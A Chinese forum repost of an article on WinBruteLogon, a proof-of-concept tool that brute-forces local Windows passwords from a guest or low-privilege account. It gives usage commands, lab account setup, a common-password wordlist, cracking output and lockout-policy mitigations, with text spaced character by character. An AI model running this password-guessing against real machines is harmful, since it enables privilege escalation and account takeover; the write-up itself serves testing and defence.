搜索

[29092] 2021-07-29_【安全工具】Windows用户爆破蛮力登录（概念证明）

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-07-29_【安全工具】Windows用户爆破蛮力登录（概念证明） 【 安 全 工 具 】 W i n d o w s 用 户 爆 破   蛮 力 登 录 （ 概 念 证 明 ） O t s 安 全   2 0 2 1 - 0 7 - 2 9 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 发 布 日 期 ： 2 0 2 0 - 0 5 - 1 4 目 标 ： W i n d o w s   X P   到 最 新 的   W i n d o w s   1 0   版 本   ( 1 9 0 9 ) 弱 点   :   用 法 词 表 文 件 标 准 输 入 词 表 介 绍 介 绍 这 个   P o C   更 像 是 我 所 说 的   M i c r o s o f t   W i n d o w s   身 份 验 证 机 制 中 的 一 个 严 重 弱 点 ， 而 不 是 一 个 漏 洞 。 最 大 的 问 题 与 缺 乏 执 行 此 类 操 作 所 需 的 特 权 有 关 。 L o g o n U s e r A ,   L o g o n U s e r W ,   C r e a t e P r o c e s s W i t h L o g o n A , C r e a t e P r o c e s s W i t h L o g o n W W i n B r u t e L o g o n . e x e   - u   < u s e r n a m e >   - w   < w o r d l i s t _ f i l e > t y p e   < w o r d l i s t _ f i l e >   |   W i n B r u t e L o g o n . e x e   - u   < u s e r n a m e >   -
确 实 ， 通 过 来 宾 帐 户 （ M i c r o s o f t   W i n d o w s   上 最 受 限 制 的 帐 户 ） ， 您 可 以 破 解 任 何 可 用 本 地 用 户 的 密 码 。 使 用 命 令 找 出 存 在 哪 些 用 户 ： n e t   u s e r 该   P o C   使 用 多 线 程 来 加 速 进 程 并 支 持   3 2   位 和   6 4   位 。 P o C   测 试 场 景 （ 使 用 访 客 账 户 ） 测 试 场 景 （ 使 用 访 客 账 户 ） 在 在   W i n d o w s   1 0   上 测 试 上 测 试 安 装 和 配 置 全 新 更 新 的   W i n d o w s   1 0   虚 拟 机 或 物 理 机 。 在 我 的 情 况 下 ， 完 整 的   W i n d o w s   版 本 是 ：   1 9 0 9   ( O S   B u i l d   1 8 3 6 3 . 7 7 8 ) 以 管 理 员 身 份 登 录 并 创 建 两 个 不 同 的 帐 户 ： 一 个 管 理 员 和 一 个 普 通 用 户 。 两 个 用 户 都 是 本 地 用 户 。 / !   重 要 提 示 ： 我 在 演 示 中 使 用 了 来 宾 帐 户 ， 但 此   P o C   不 仅 限 于 来 宾 帐 户 ， 它 可 以 在 任 何 帐 户 / 组 （ 来 宾 用 户 / 普 通 用 户 / 管 理 员 用 户 等 . . . ） 创 建 一 个 新 的 管 理 员 用 户 创 建 一 个 新 的 管 理 员 用 户 创 建 普 通 用 户 创 建 普 通 用 户 创 建 一 个 新 的 访 客 帐 户 创 建 一 个 新 的 访 客 帐 户 获 取 词 汇 表 获 取 词 汇 表 在 我 的 情 况 都 t r o u s e r s 和 o z l q 6 q w m 在 S e c L i s t ： h t t p s : / / g i t h u b . c o m / d a n i e l m i e s s l e r / S e c L i s t s / b l o b / m a s t e r / P a s s w o r d s / C o m m o n - C r e d e n t i a l s / 1 0 k - m o s t - c o m m o n . t x t 开 始 攻 击 开 始 攻 击 从 管 理 员 帐 户 注 销 或 重 新 启 动 您 的 机 器 并 登 录 到 访 客 帐 户 。 将   P o C   可 执 行 文 件 放 在 您 可 以 作 为 访 客 用 户 访 问 的 任 何 位 置 。 用 法   ： - v   是 可 选 的 ， 它 设 计 了 详 细 模 式 。 n e t   u s e r   d a r k c o d e r s c   / a d d n e t   u s e r   d a r k c o d e r s c   t r o u s e r s   （ t r o u s e r s   是 密 码 ） n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   d a r k c o d e r s c   / a d d n e t   u s e r   H a c k M e   / a d d n e t   u s e r   H a c k M e   o z l q 6 q w m   （ o z l q 6 q w m   是 密 码 ） n e t   u s e r   G u e s t U s e r   / a d d n e t   l o c a l g r o u p   u s e r s   G u e s t U s e r   / d e l e t e n e t   l o c a l g r o u p   g u e s t s   G u e s t U s e r   / a d d W i n B r u t e L o g o n . e x e   - v   - u   < u s e r n a m e >   - w   < w o r d l i s t _ f i l e >
默 认 情 况 下 ， 域 名 是 % U S E R D O M A I N % e n v   v a r 指 定 的 值 。 您 可 以 使 用 选 项 指 定 自 定 义 名 称 - d 破 解 第 一 个 用 户 ： （ 破 解 第 一 个 用 户 ： （ d a r k c o d e r s c 管 理 员 ） 管 理 员 ） 提 示 （ 来 宾 ） > W i n B r u t e L o g o n . e x e   - v   - u   d a r k c o d e r s c   - w   1 0 k - m o s t - c o m m o n . t x t 等 待 几 秒 钟 以 查 看 以 下 结 果 ： 破 解 第 二 个 用 户 ： （ 破 解 第 二 个 用 户 ： （ H a c k M e 普 通 用 户 ） 普 通 用 户 ） 提 示 （ 来 宾 ） 等 待 几 秒 钟 以 查 看 以 下 结 果 ： 真 实 世 界 场 景 真 实 世 界 场 景 如 果 您 获 得 对 低 权 限 用 户 的 访 问 权 限 ， 则 可 以 破 解 更 高 权 限 用 户 的 密 码 并 提 升 您 的 权 限 。 缓 解 （ 一 般 ） 缓 解 （ 一 般 ） 禁 用 访 客 帐 户 （ 如 果 存 在 ） 。 应 用 程 序 白 名 单 。 [   . .   ]   L o a d   1 0 k - m o s t - c o m m o n . t x t   f i l e   i n   m e m o r y . . . [ D O N E ]   1 0 0 0 2   p a s s w o r d s   s u c c e s s f u l l y   l o a d e d . [ I N F O ]   2   c o r e s   a r e   a v a i l a b l e [   . .   ]   C r e a t e   2   t h r e a d s . . . [ I N F O ]   N e w   " T W o r k e r "   T h r e a d   c r e a t e d   w i t h   i d = 2 2 6 0 ,   h a n d l e = 3 6 4 [ I N F O ]   N e w   " T W o r k e r "   T h r e a d   c r e a t e d   w i t h   i d = 3 7 1 2 ,   h a n d l e = 5 3 2 [ D O N E ]   D o n e . [   O K   ]   P a s s w o r d   f o r   u s e r n a m e = [ d a r k c o d e r s c ]   a n d   d o m a i n = [ D E S K T O P - 0 8 8 5 F P 1 ]   f o u n d   =   [ t r o u s e r s ] [   . .   ]   F i n a l i z e   a n d   c l o s e   w o r k e r   t h r e a d s . . . [ I N F O ]   " T W o r k e r s " ( i d = 2 2 6 0 ,   h a n d l e = 3 6 4 )   T h r e a d   s u c c e s s f u l l y   t e r m i n a t e d . [ I N F O ]   " T W o r k e r s " ( i d = 3 7 1 2 ,   h a n d l e = 5 3 2 )   T h r e a d   s u c c e s s f u l l y   t e r m i n a t e d . [ D O N E ]   D o n e . [ I N F O ]   E l l a p s e d   T i m e   :   0 0 : 0 0 : 0 6 > W i n B r u t e L o g o n . e x e   - v   - u   H a c k M e   - w   1 0 k - m o s t - c o m m o n . t x t [   . .   ]   L o a d   1 0 k - m o s t - c o m m o n . t x t   f i l e   i n   m e m o r y . . . [ D O N E ]   1 0 0 0 2   p a s s w o r d s   s u c c e s s f u l l y   l o a d e d . [ I N F O ]   2   c o r e s   a r e   a v a i l a b l e [   . .   ]   C r e a t e   2   t h r e a d s . . . [ I N F O ]   N e w   " T W o r k e r "   T h r e a d   c r e a t e d   w i t h   i d = 5 7 4 8 ,   h a n d l e = 3 3 6 [ I N F O ]   N e w   " T W o r k e r "   T h r e a d   c r e a t e d   w i t h   i d = 4 9 4 8 ,   h a n d l e = 1 4 0 [ D O N E ]   D o n e . [   O K   ]   P a s s w o r d   f o r   u s e r n a m e = [ H a c k M e ]   a n d   d o m a i n = [ D E S K T O P - 0 8 8 5 F P 1 ]   f o u n d   =   [ o z l q 6 q w m ] [   . .   ]   F i n a l i z e   a n d   c l o s e   w o r k e r   t h r e a d s . . . [ I N F O ]   " T W o r k e r s " ( i d = 5 7 4 8 ,   h a n d l e = 3 3 6 )   T h r e a d   s u c c e s s f u l l y   t e r m i n a t e d . [ I N F O ]   " T W o r k e r s " ( i d = 4 9 4 8 ,   h a n d l e = 1 4 0 )   T h r e a d   s u c c e s s f u l l y   t e r m i n a t e d . [ D O N E ]   D o n e . [ I N F O ]   E l l a p s e d   T i m e   :   0 0 : 0 0 : 0 6
按 照 指 南 创 建 并 保 持 密 码 强 度 。 将 此 应 用 于 所 有 用 户 。 实 施 安 全 锁 定 策 略 （ 默 认 情 况 下 不 存 在 ） 打 开 s e c p o l . m s c 然 后 转 到 A c c o u n t   P o l i c i e s > A c c o u n t   L o c k o u t   P o l i c y 并 A c c o u n t   l o c k o u t   t h r e s h o l d 使 用 （ 1   到   9 9 9 ） 中 的 所 需 值 编 辑 值 。 值 表 示 被 锁 定 之 前 可 能 的 尝 试 次 数 。 / !   锁 定 策 略 不 适 用 于 管 理 员 帐 户 。 此 时 ， 管 理 员 帐 户 （ 如 果 已 启 用 ） 的 最 佳 保 护 是 设 置 一 个 非 常 复 杂 的 密 码 。 弱 点 报 告 弱 点 报 告 已 向   M i c r o s o f t   安 全 团 队 发 送 报 告 。 他 们 至 少 应 该 在 默 认 情 况 下 实 现 帐 户 锁 定 。 其 实 不 然 。 项 目 地 址 ： 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / D a r k C o d e r S c / w i n - b r u t e - l o g o n 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理